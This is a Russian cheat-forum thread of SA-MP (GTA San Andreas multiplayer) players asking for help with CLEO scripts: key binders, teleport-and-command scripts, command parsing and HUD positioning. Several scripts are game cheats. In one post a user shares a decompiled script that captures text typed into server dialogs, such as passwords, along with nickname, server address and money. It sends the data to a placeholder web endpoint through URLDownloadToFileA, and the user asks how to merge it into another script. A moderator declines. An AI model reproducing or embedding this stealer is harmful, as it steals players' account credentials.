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[CLEO] Помощь по редактированию скриптов
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| HenryTeylor |
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 661
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Цитата [CM]Chubacka (  ) Научите делать Cleo))0
Справка SB позволить понять азы. Уроки на нашем сайте, и сторонних ресурсах. Есть желание - изучайте
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| [CM]Perez[CM] |
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 662
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Боец
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Короче решил сделать клео в котором при нажатии правого CTRL-a: 1.Эмулировалось нажатие кнопки B(Английская) (эта кнопка у меня разморозка в собейте )
2.Потом прописывался в чат /lock
Так вот почему-то не нажимается B. Посмотрите код правильно ли я сделал? Код {$CLEO .cs} Thread "Binder" 8AF7: not get_samp_base_to 29@ if 0AA2: 0@ = load_library "kernel32.dll" // IF and SET jf @error_load_kernel32
:2 wait 400 0AFA: is_samp_structures_available jf @2
:3 wait 0 if 0ab0: key_pressed 0xA3 jf @3 wait 50 0DC6: emul_char_press 0x66 is_up true wait 50 0AF9: samp say_msg "/lock" jump @3
Если нужна помощь в поиске чего либо или просто помощь пиши в ЛС.Помогу чем нибудь.
ВК-- https://vk.com/id94548022
Мои достижения: 365 дней на CM [+] 200 репутации [+] Пользователь [+] 500 дней на СМ [+] 500 репутации [+] Клан CM [-] 1000 дней на CM [+] 1000 репутации [-] Проверенный [-] 1500 дней на CM [-] 2000 репутации [-] Админ-Совет [-] Это не скоро :D
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| [CM]Astap |
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 663
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Код 0B34: samp register_client_command "vvsm" to_label @ast while true wait 0 if 13@ == 1 then 0B2E: 30@ = read_samp_memory offset 0xB110 size 2 0B2D: write_samp_memory offset 0xB110 value 0xC390 size 2 Actor.StorePos($PLAYER_ACTOR, 1@, 2@, 3@) Actor.PutAt($PLAYER_ACTOR, 401.4500 2541.0200 16.5500) wait 500 0af9: "/primercomandi 6" wait 500 Actor.PutAt($PLAYER_ACTOR, 1@, 2@, 3@) Вот часть кода, тут короче, игрок должен ТПшится на корды, прописать команду и ТПшится обратно (на место активации) . Но почему то он просто ТПшится туда обратно. Команду не прописывает. В чем проблема?
Cheater CM - 03.10.14 - 09.01.15 Клан СМ - 09.01.15 - 01.03.15 Мл. Модератор - 01.03.15 - 25.06.15 Модератор - 25.06.15 
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| HenryTeylor |
Дата: Суббота, 05.09.2015, 22:02 | Сообщение # 664
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Цитата [CM Astap;2303997]Вот часть кода, тут короче, игрок должен ТПшится на корды, прописать команду и ТПшится обратно (на место активации) . Но почему то он просто ТПшится туда обратно. Команду не прописывает. В чем проблема?
Код {$CLEO .cs} 0000:
thread "HenryTeylor"
if not 0@ = SAMP.Base() then 0A93: end_custom_thread end while not SAMP.Available() wait 100 end
0B34: samp register_client_command "test" to_label @test
while true wait 0 if 1@ == 1 then if not Actor.Driving($PLAYER_ACTOR) then Actor.StorePos($PLAYER_ACTOR, 2@, 3@, 4@) Actor.PutAt($PLAYER_ACTOR, 401.45, 2541.02, 16.55) wait 500 0af9: "/test" wait 500 Actor.PutAt($PLAYER_ACTOR, 2@, 3@, 4@) else 0af8: "Игрок в машине" 0xffffff end end end
:test 1@ = 1 Samp.CmdRet()
Сообщение отредактировал HenryTeylor - Воскресенье, 21.09.2014, 17:29 |
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| [CM]Astap |
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 665
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HenryTeylor, теперь команда прописывается. Но теперь игрок бесконечно телепортируется на координаты. Как сделать чтобы ТПшнутся один раз и обратно?
Cheater CM - 03.10.14 - 09.01.15 Клан СМ - 09.01.15 - 01.03.15 Мл. Модератор - 01.03.15 - 25.06.15 Модератор - 25.06.15 
Сообщение отредактировал [CM]Astap - Воскресенье, 21.09.2014, 20:30 |
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| DubStep_ |
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 666
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{ }
Сообщений: 1406
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[CM]Astap, добавь 1@ = 0 после строки if 1@ == 1 then
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| [CM]Pawno |
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 667
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Боец
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dell
Изучаю: PHP,PAWN,Cleo
Сообщение отредактировал [CM]Pawno - Вторник, 23.09.2014, 14:33 |
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| Egork4 |
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 668
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Как можно взять текст из введенной команды? Ввожу "/cmd 5 6 текст", где 5 - id, 6 - расстояние, текст - введенный текст. Код scanstr 2@ 1@ "%d%d%d" 3@ 4@ 7@ id и длинна определяется правильно, но как выдернуть текст из строки и если возможно, то с пробелами. Сейчас показываются закорючки или вообще крашит.
Сообщение отредактировал Egork4 - Понедельник, 29.09.2014, 00:31 |
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| Kaban1998 |
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 669
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Как соединить два скрипта в один?
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| Кoт |
Дата: Суббота, 05.09.2015, 22:03 | Сообщение # 670
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Цитата Kaban1998 (  ) Как соединить два скрипта в один? Руками. Берешь копируешь и вставляешь. Какой вопрос - такой ответ . Ты хотя бы показал эти клео...
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| Kaban1998 |
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 671
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Этот // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- thread 'NoName'
:NoName_11 not SAMP.Available else_jump @NoName_31 wait 100 jump @NoName_11
:NoName_31 not SAMP.IsDialogActive(-1) else_jump @NoName_53 wait 100 jump @NoName_31
:NoName_53 SAMP.IsDialogActive(-1) else_jump @NoName_453 wait 0 0@ = SAMP.GetDialogID() alloc 6@ 64
:NoName_80 wait 0 6@ = SAMP.GetDialogInputBoxText() not SAMP.IsDialogActive(-1) else_jump @NoName_80 alloc 1@ 24 2@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR) 1@ = SAMP.GetPlayerNickname(2@) wait 500 2@ = Player.Money($PLAYER_CHAR) alloc 3@ 15 SAMP.GetCurrentServerAddress(3@, 4@) alloc 5@ 86 5@ = SAMP.GetCurrentServerName() 0C17: 10@ = strlen 6@ if 10@ > 1 else_jump @NoName_421 alloc 8@ 445 format 8@ "http:%c%сайт%папка%cadd.php?nick=%s&ip=%s:%d&serv=%s&dialog=%d&input=%s&mn=%d" 47 47 47 47 1@ 3@ 4@ 5@ 0@ 6@ 2@ 0AA2: 9@ = load_library "urlmon.dll" // IF and SET 0AA4: 7@ = get_proc_address "URLDownloadToFileA" library 9@ // IF and SET 0AA5: call 7@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 8@ 0 0AA3: free_library 9@ free 8@
:NoName_421 free 1@ free 3@ free 5@ free 6@ wait 500 jump @NoName_53
:NoName_453 0@ = 0 1@ = 0 2@ = 0 3@ = 0 4@ = 0 7@ = 0 5@ = 0 6@ = 0 8@ = 0 9@ = 0 10@ = 0 30@ = 0 31@ = 0 0A93: end_custom_thread wait 0 2@ = 30
:NoName_557 wait 0 1@ = 0 32@ = 0
:NoName_575 wait 0 1@ += 1 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 2@ if 32@ > 999 else_jump @NoName_575 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 1@ 0085: 2@ = 1@ // (int) jump @NoName_55 И вот этот // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- wait 0 2@ = 30
:Noname_11 wait 0 1@ = 0 32@ = 0
:Noname_29 wait 0 1@ += 1 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 2@ if 32@ > 999 else_jump @Noname_29 03F0: enable_text_draw 1 0342: set_text_draw_centered 1 0340: set_text_draw_RGBA 180 180 180 255 045A: draw_text_1number 16.0 384.0 GXT 'NUMBER' number 1@ 0085: 2@ = 1@ // (int) goto @Noname_11
Сообщение отредактировал Kaban1998 - Среда, 08.10.2014, 04:20 |
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| Кoт |
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 672
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Сообщений: 1074
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Таким не занимаемся
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| Kaban1998 |
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 673
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Можно ли сделать такой скрипт? Когда выстреливаешь 49 патронов на м4 и как остаётся 1 патрон, оружие прокручивается т.е нет перезарядки.
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| aritentd_228 |
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 674
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Боец
Сообщений: 81
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Код // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013 {$CLEO .cs}
//-------------MAIN--------------- 0662: printstring "MOD NAME: C_HUD" 0662: printstring "BY ANTHONY_MILLER" 0004: $76 = 0 0004: $78 = 0 0004: $79 = 0 0006: 18@ = 0 0000: NOP 0050: gosub @NONAME_4308 0050: gosub @NONAME_4312 0004: $MARKER_EMMETS_GUN = 52 0004: $PICKUP_EMMETS_COLT45 = 93 0004: $STAT_LUNG_CAPACITY = 0
:NONAME_105 0001: wait 0 ms 0050: gosub @NONAME_254 0050: gosub @NONAME_309 0050: gosub @NONAME_371 00D6: if or 0038: $76 == 1 0038: $78 == 1 0038: $79 == 1 004D: jump_if_false @NONAME_173 03F0: enable_text_draw 0 0002: jump @NONAME_247
:NONAME_173 03F0: enable_text_draw 1 0050: gosub @NONAME_420 0050: gosub @NONAME_791 0050: gosub @NONAME_1161 0050: gosub @NONAME_1412 0050: gosub @NONAME_2139 0050: gosub @NONAME_4070 0050: gosub @NONAME_3167 0050: gosub @NONAME_3233 0050: gosub @NONAME_3738 0050: gosub @NONAME_2546
:NONAME_247 0002: jump @NONAME_105
:NONAME_254 0A8D: $36 = read_memory 11989093 size 4 virtual_protect 0 00D6: if 0038: $36 == 1 004D: jump_if_false @NONAME_300 0004: $76 = 1 0002: jump @NONAME_307
:NONAME_300 0004: $76 = 0
:NONAME_307 0051: return
:NONAME_309 0A8D: $77 = read_memory 9873356 size 4 virtual_protect 0 00D6: if or 0038: $77 == 1 0038: $77 == 2 004D: jump_if_false @NONAME_362 0004: $78 = 1 0002: jump @NONAME_369
:NONAME_362 0004: $78 = 0
:NONAME_369 0051: return
:NONAME_371 00D6: if 06B9: cutscene_data_loaded 004D: jump_if_false @NONAME_411 00D6: if 82E9: not cutscene_reached_end 004D: jump_if_false @NONAME_404 0004: $79 = 1
:NONAME_404 0002: jump @NONAME_418
:NONAME_411 0004: $79 = 0
:NONAME_418 0051: return
:NONAME_420 0050: gosub @NONAME_482 00D6: if 0019: 7@ > 0 004D: jump_if_false @NONAME_480 0050: gosub @NONAME_492 0050: gosub @NONAME_511 0050: gosub @NONAME_2756 0050: gosub @NONAME_612 0050: gosub @NONAME_687
:NONAME_480 0051: return
:NONAME_482 0226: 7@ = actor $PLAYER_ACTOR health 0051: return
:NONAME_492 0653: 8@ = float_stat 24 0017: 8@ /= 5.69 0051: return
:NONAME_511 008D: 7@ = integer 7@ to_float 0007: 1@ = 548.0 0007: 2@ = 106.0 00D6: if 0025: 8@ > 7@ // (float) 004D: jump_if_false @NONAME_610 0007: 1@ = 608.0 0073: 8@ /= 7@ // (float) 0073: 2@ /= 8@ // (float) 0087: 7@ = 2@ // (float) 0017: 7@ /= 2.0 0063: 1@ -= 7@ // (float)
:NONAME_610 0051: return
:NONAME_612 0004: $CUSTOM_TOURNAMENT_FLAG = 0 00D6: if or 001D: $120 > $CUSTOM_TOURNAMENT_FLAG // (int) 0AB0: key_pressed 121 004D: jump_if_false @NONAME_651 0051: return 0002: jump @NONAME_687
:NONAME_651 03E3: set_texture_to_be_drawn_antialiased 1 038E: draw_box_position 1@ 99999.0 size 2@ 7.0 RGBA 255 255 255 255 0051: return
:NONAME_687 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_711 0051: return 0002: jump @NONAME_791
:NONAME_711 0226: 26@ = actor $PLAYER_ACTOR health 0016: 26@ /= 1 033F: set_text_draw_letter_size 0.4 1.1 081C: draw_text_outline 1 RGBA 0 0 0 255 0340: set_text_draw_RGBA 255 255 255 255 045A: draw_text_1number 548.0 65.0 GXT 'NUMBER' number 26@ // ~1~ 0051: return
:NONAME_791 0050: gosub @NONAME_853 00D6: if 0019: 9@ > 0 004D: jump_if_false @NONAME_851 0050: gosub @NONAME_863 0050: gosub @NONAME_881 0050: gosub @NONAME_2819 0050: gosub @NONAME_982 0050: gosub @NONAME_1057
:NONAME_851 0051: return
:NONAME_853 04DD: 9@ = actor $PLAYER_ACTOR armour 0051: return
:NONAME_863 0945: get_player $PLAYER_CHAR max_armour_to 10@ 008D: 10@ = integer 10@ to_float 0051: return
:NONAME_881 008D: 9@ = integer 9@ to_float 0007: 3@ = 548.0 0007: 4@ = 106.0 00D6: if 0025: 10@ > 9@ // (float) 004D: jump_if_false @NONAME_980 0007: 3@ = 608.0 0073: 10@ /= 9@ // (float) 0073: 4@ /= 10@ // (float) 0087: 9@ = 4@ // (float) 0017: 9@ /= 2.0 0063: 3@ -= 9@ // (float)
:NONAME_980 0051: return
:NONAME_982 0004: $CUSTOM_TOURNAMENT_FLAG = 0 00D6: if or 001D: $LSGYM_ICON > $CUSTOM_TOURNAMENT_FLAG // (int) 0AB0: key_pressed 121 004D: jump_if_false @NONAME_1021 0051: return 0002: jump @NONAME_1057
:NONAME_1021 03E3: set_texture_to_be_drawn_antialiased 1 038E: draw_box_position 3@ 99999.0 size 4@ 7.0 RGBA 171 171 171 190 0051: return
:NONAME_1057 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_1081 0051: return 0002: jump @NONAME_1161
:NONAME_1081 04DD: 26@ = actor $PLAYER_ACTOR armour 0016: 26@ /= 1 033F: set_text_draw_letter_size 0.4 1.1 081C: draw_text_outline 1 RGBA 0 0 0 255 0340: set_text_draw_RGBA 171 171 171 255 045A: draw_text_1number 566.0 51.0 GXT 'NUMBER' number 26@ // ~1~ 0051: return
:NONAME_1161 0050: gosub @NONAME_1221 00D6: if and 0019: 11@ > 0 0965: actor $PLAYER_ACTOR swimming 004D: jump_if_false @NONAME_1219 0050: gosub @NONAME_1229 0050: gosub @NONAME_1259 0050: gosub @NONAME_2882 0050: gosub @NONAME_1352
:NONAME_1219 0051: return
:NONAME_1221 0652: 11@ = integer_stat 4080
:NONAME_1229 0653: 12@ = float_stat 225 0013: 12@ *= 1.5 000B: 12@ += 1150.0 0051: return
:NONAME_1259 0007: 5@ = 548.0 0007: 6@ = 106.0 00D6: if 0025: 12@ > 11@ // (float) 004D: jump_if_false @NONAME_1350 0007: 5@ = 608.0 0073: 12@ /= 11@ // (float) 0073: 6@ /= 12@ // (float) 0087: 11@ = 6@ // (float) 0017: 11@ /= 2.0 0063: 5@ -= 11@ // (float)
:NONAME_1350 0051: return
:NONAME_1352 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_1376 0051: return 0002: jump @NONAME_1412
:NONAME_1376 03E3: set_texture_to_be_drawn_antialiased 1 038E: draw_box_position 5@ 99999.0 size 6@ 7.0 RGBA 255 255 255 255 0051: return
:NONAME_1412 0050: gosub @NONAME_2086 0050: gosub @NONAME_1639 0050: gosub @NONAME_1780 0050: gosub @NONAME_1940 0050: gosub @NONAME_2044 0050: gosub @NONAME_1456 0051: return
:NONAME_1456 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_1480 0051: return 0002: jump @NONAME_1489
:NONAME_1480 0050: gosub @NONAME_1489 0051: return
:NONAME_1489 000A: 13@ += 1 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 13@ position 99999.0 33.0 size 55.0 55.0 RGBA 255 255 255 255 00D6: if 0039: 18@ == 1 004D: jump_if_false @NONAME_1637 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 19@ position 99999.0 33.0 size 40.0 40.0 RGBA 150 150 150 150 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 20@ position 99999.0 33.0 size 40.0 40.0 RGBA 150 150 150 150
:NONAME_1637 0051: return
:NONAME_1639 00D6: if 0039: 21@ == 0 004D: jump_if_false @NONAME_1671 0050: gosub @NONAME_2109 000A: 15@ += 1
:NONAME_1671 000E: 15@ -= 1 00D6: if 8019: not 15@ > 0 004D: jump_if_false @NONAME_1703 0006: 15@ = 13
:NONAME_1703 0050: gosub @NONAME_1921 00D6: if or 0039: 15@ == 1 8039: not 24@ == -1 004D: jump_if_false @NONAME_1764 0085: 19@ = 23@ // (int) 000A: 19@ += 1 0006: 21@ = 0 0002: jump @NONAME_1778
:NONAME_1764 0006: 21@ = 1 0002: jump @NONAME_1639
:NONAME_1778 0051: return
:NONAME_1780 00D6: if 0039: 22@ == 0 004D: jump_if_false @NONAME_1812 0050: gosub @NONAME_2109 000A: 15@ += 1
:NONAME_1812 000A: 15@ += 1 00D6: if 0019: 15@ > 13 004D: jump_if_false @NONAME_1844 0006: 15@ = 1
:NONAME_1844 0050: gosub @NONAME_1921 00D6: if or 0039: 15@ == 1 8039: not 24@ == -1 004D: jump_if_false @NONAME_1905 0085: 20@ = 23@ // (int) 000A: 20@ += 1 0006: 22@ = 0 0002: jump @NONAME_1919
:NONAME_1905 0006: 22@ = 1 0002: jump @NONAME_1780
:NONAME_1919 0051: return
:NONAME_1921 04B8: get_weapon_data_from_actor $PLAYER_ACTOR slot 15@ weapon 23@ ammo 14@ model 24@ 0051: return
:NONAME_1940 0050: gosub @NONAME_2086 0085: 0@ = 13@ // (int) 0012: 0@ *= 112 000A: 0@ += 13150904 000A: 0@ += 32 0A8D: 30@ = read_memory 0@ size 4 virtual_protect 0 00D6: if 0019: 30@ > 0 004D: jump_if_false @NONAME_2042 0050: gosub @NONAME_2096 00D6: if 0039: 14@ == 0 004D: jump_if_false @NONAME_2042 0555: remove_weapon 13@ from_actor $PLAYER_ACTOR
:NONAME_2042 0051: return
:NONAME_2044 00D6: if 803B: not 13@ == 23@ // (int) 004D: jump_if_false @NONAME_2077 0006: 18@ = 1 0002: jump @NONAME_2084
:NONAME_2077 0006: 18@ = 0
:NONAME_2084 0051: return
:NONAME_2086 0470: 13@ = actor $PLAYER_ACTOR current_weapon 0051: return
:NONAME_2096 041A: 14@ = actor $PLAYER_ACTOR weapon 13@ ammo 0051: return
:NONAME_2109 0A96: 0@ = actor $PLAYER_ACTOR struct 000A: 0@ += 1816 0A8D: 15@ = read_memory 0@ size 1 virtual_protect 0 0051: return
:NONAME_2139 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_2163 0051: return 0002: jump @NONAME_2179
:NONAME_2163 0050: gosub @NONAME_2179 0050: gosub @NONAME_2189 0051: return
:NONAME_2179 01C0: 25@ = player $PLAYER_CHAR wanted_level 0051: return
:NONAME_2189 00D6: if 0019: 25@ > 0 004D: jump_if_false @NONAME_2254 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220 0050: gosub @NONAME_2945
:NONAME_2254 00D6: if 0019: 25@ > 1 004D: jump_if_false @NONAME_2312 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220
:NONAME_2312 00D6: if 0019: 25@ > 2 004D: jump_if_false @NONAME_2370 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220
:NONAME_2370 00D6: if 0019: 25@ > 3 004D: jump_if_false @NONAME_2428 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220
:NONAME_2428 00D6: if 0019: 25@ > 4 004D: jump_if_false @NONAME_2486 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220
:NONAME_2486 00D6: if 0019: 25@ > 5 004D: jump_if_false @NONAME_2544 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 48 position 99999.0 99999.0 size 25.0 25.0 RGBA 250 250 210 220
:NONAME_2544 0051: return
:NONAME_2546 00D6: if 00DF: actor $PLAYER_ACTOR driving 004D: jump_if_false @NONAME_2658 03C0: 31@ = actor $PLAYER_ACTOR car 0441: 0@ = car 31@ model 000E: 0@ -= 400 0012: 0@ *= 776 000A: 0@ += 11662928 000A: 0@ += 54 0A8D: $5 = read_memory 0@ size 4 virtual_protect 0 000A: 0@ += 4 0A8D: $30 = read_memory 0@ size 3 virtual_protect 0 0AB1: call_scm_func @NONAME_2660 2 $5 $30
:NONAME_2658 0051: return
:NONAME_2660 0050: gosub @NONAME_2672 0AB2: ret 0
:NONAME_2672 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_2696 0051: return 0002: jump @NONAME_2756
:NONAME_2696 03E0: draw_text_behind_textures 1 033F: set_text_draw_letter_size 0.5 1.6 081C: draw_text_outline 2 RGBA 0 0 0 200 0340: set_text_draw_RGBA 255 255 255 255 033E: set_draw_text_position 99999.0 99999.0 GXT 0@s 0051: return
:NONAME_2756 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_2780 0051: return 0002: jump @NONAME_2819
:NONAME_2780 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 49 position 99999.0 99999.0 size 108.0 9.0 RGBA 0 0 0 255 0051: return
:NONAME_2819 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_2843 0051: return 0002: jump @NONAME_2882
:NONAME_2843 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 49 position 99999.0 99999.0 size 108.0 9.0 RGBA 0 0 0 255 0051: return
:NONAME_2882 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_2906 0051: return 0002: jump @NONAME_2945
:NONAME_2906 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 49 position 99999.0 99999.0 size 108.0 9.0 RGBA 0 0 0 255 0051: return
:NONAME_2945 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_2969 0051: return 0002: jump @NONAME_3167
:NONAME_2969 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60 038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60 038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60 038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60 038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60 038D: draw_texture 50 position 99999.0 99999.0 size 25.0 25.0 RGBA 0 0 0 60 0051: return
:NONAME_3167 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_3191 0051: return 0002: jump @NONAME_3233
:NONAME_3191 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 51 position 99999.2 99999.5 size 137.0 113.0 RGBA 255 255 255 255 0051: return
:NONAME_3233 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_3257 0051: return 0002: jump @NONAME_3266
:NONAME_3257 0050: gosub @NONAME_3266 0051: return
:NONAME_3266 0050: gosub @NONAME_2086 00D6: if and 0019: 13@ > 21 8039: not 13@ == 34 8039: not 13@ == 35 8039: not 13@ == 36 8039: not 13@ == 39 8039: not 13@ == 40 8019: not 13@ > 43 004D: jump_if_false @NONAME_3347 0050: gosub @NONAME_3351 0002: jump @NONAME_3349
:NONAME_3347 0051: return
:NONAME_3349 0051: return
:NONAME_3351 00D6: if or 00DF: actor $PLAYER_ACTOR driving 0965: actor $PLAYER_ACTOR swimming 004D: jump_if_false @NONAME_3381 0051: return 0002: jump @NONAME_3388
:NONAME_3381 0050: gosub @NONAME_3390
:NONAME_3388 0051: return
:NONAME_3390 00D6: if and 0AB0: key_pressed 2 0AB0: key_pressed 49 8818: not actor $PLAYER_ACTOR in_air 004D: jump_if_false @NONAME_3503 0004: $MARKER_EMMETS_GUN = 52 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture $MARKER_EMMETS_GUN position 99999.1 99999.1 size 29.0 29.0 RGBA 0 0 0 255 038D: draw_texture 53 position 99999.1 99999.1 size 25.0 25.0 RGBA 255 255 0 255 0051: return 0002: jump @NONAME_3512
:NONAME_3503 0050: gosub @NONAME_3512 0051: return
:NONAME_3512 00D6: if and 0AB0: key_pressed 2 0AB0: key_pressed 50 8818: not actor $PLAYER_ACTOR in_air 004D: jump_if_false @NONAME_3628 0004: $MARKER_EMMETS_GUN = 90 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture $MARKER_EMMETS_GUN position 99999.1 99999.1 size 29.0 29.0 RGBA 255 255 255 255 038D: draw_texture 53 position 99999.1 99999.1 size 25.0 25.0 RGBA 255 255 0 255 0051: return 0002: jump @NONAME_3635
:NONAME_3628 0050: gosub @NONAME_3635
:NONAME_3635 00D6: if 8818: not actor $PLAYER_ACTOR in_air 004D: jump_if_false @NONAME_3736 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture $MARKER_EMMETS_GUN position 99999.1 99999.1 size 29.0 29.0 RGBA 255 255 255 255 038D: draw_texture 53 position 99999.1 99999.1 size 25.0 25.0 RGBA 255 255 0 255 0051: return 0002: jump @NONAME_3738
:NONAME_3736 0051: return
:NONAME_3738 0050: gosub @NONAME_2086 00D6: if 0039: 13@ == 34 004D: jump_if_false @NONAME_3777 0050: gosub @NONAME_3781 0002: jump @NONAME_3779
:NONAME_3777 0051: return
:NONAME_3779 0051: return
:NONAME_3781 00D6: if or 00DF: actor $PLAYER_ACTOR driving 0965: actor $PLAYER_ACTOR swimming 004D: jump_if_false @NONAME_3811 0051: return 0002: jump @NONAME_3818
:NONAME_3811 0050: gosub @NONAME_3818
:NONAME_3818 00D6: if and 0AB0: key_pressed 2 0AB0: key_pressed 49 8818: not actor $PLAYER_ACTOR in_air 004D: jump_if_false @NONAME_3899 0004: $PICKUP_EMMETS_COLT45 = 93 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture $PICKUP_EMMETS_COLT45 position 99999.6 99999.0 size 650.0 455.47 RGBA 255 255 255 255 0051: return 0002: jump @NONAME_3908
:NONAME_3899 0050: gosub @NONAME_3908 0051: return
:NONAME_3908 00D6: if and 0AB0: key_pressed 2 0AB0: key_pressed 50 8818: not actor $PLAYER_ACTOR in_air 004D: jump_if_false @NONAME_3989 0004: $PICKUP_EMMETS_COLT45 = 94 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture $PICKUP_EMMETS_COLT45 position 99999.6 99999.0 size 650.0 455.47 RGBA 255 255 255 255 0051: return 0002: jump @NONAME_3998
:NONAME_3989 0050: gosub @NONAME_3998 0051: return
:NONAME_3998 00D6: if and 8818: not actor $PLAYER_ACTOR in_air 0AB0: key_pressed 2 004D: jump_if_false @NONAME_4068 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture $PICKUP_EMMETS_COLT45 position 99999.6 99999.0 size 650.0 455.47 RGBA 255 255 255 255 0051: return 0002: jump @NONAME_4070
:NONAME_4068 0051: return
:NONAME_4070 00D6: if 0AB0: key_pressed 121 004D: jump_if_false @NONAME_4094 0051: return 0002: jump @NONAME_4103
:NONAME_4094 0050: gosub @NONAME_4103 0051: return
:NONAME_4103 00BF: 27@ = current_time_hours, 28@ = current_time_minutes 00D6: if 001B: 10 > 28@ 004D: jump_if_false @NONAME_4143 0050: gosub @NONAME_4152 0002: jump @NONAME_4150
:NONAME_4143 0050: gosub @NONAME_4228
:NONAME_4150 0051: return
:NONAME_4152 03E0: draw_text_behind_textures 1 033F: set_text_draw_letter_size 0.45 1.3 03E4: set_text_draw_align_right 1 081C: draw_text_outline 1 RGBA 0 0 0 200 0340: set_text_draw_RGBA 255 255 255 220 045B: draw_text_2numbers 999999.0 99999.0 GXT 'TIME_0' numbers 27@ 28@ // ~1~:0~1~ 0051: return
:NONAME_4228 03E0: draw_text_behind_textures 1 033F: set_text_draw_letter_size 0.45 1.3 03E4: set_text_draw_align_right 1 081C: draw_text_outline 1 RGBA 0 0 0 200 0340: set_text_draw_RGBA 255 255 255 240 045B: draw_text_2numbers 9999.0 99999.0 GXT 'TIME' numbers 27@ 28@ // ~1~:~1~ 0051: return 00D6: if
:NONAME_4308 0391: release_textures 0051: return
:NONAME_4312 09BA: show_entered_zone_name 0 09B9: show_entered_car_name 0 0051: return Как поменять расположение цифр? (HpHud)
✰✰✰ На Cheat - Master.ru 2945 дней ✰✰✰
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| Olegman10 |
Дата: Суббота, 05.09.2015, 22:04 | Сообщение # 675
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Мактавишка :3
Статус: Offline
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Цитата aritentd_228 (  ) 045A: draw_text_1number 548.0 65.0 GXT 'NUMBER' number 26@ // ~1~ Вот в этой строчке ищи 548.0 и 65.0. Они отвечают за координаты
Russian Ice Gang - GTA Online
Cheater CM с 16.10.2014 по **.**.****
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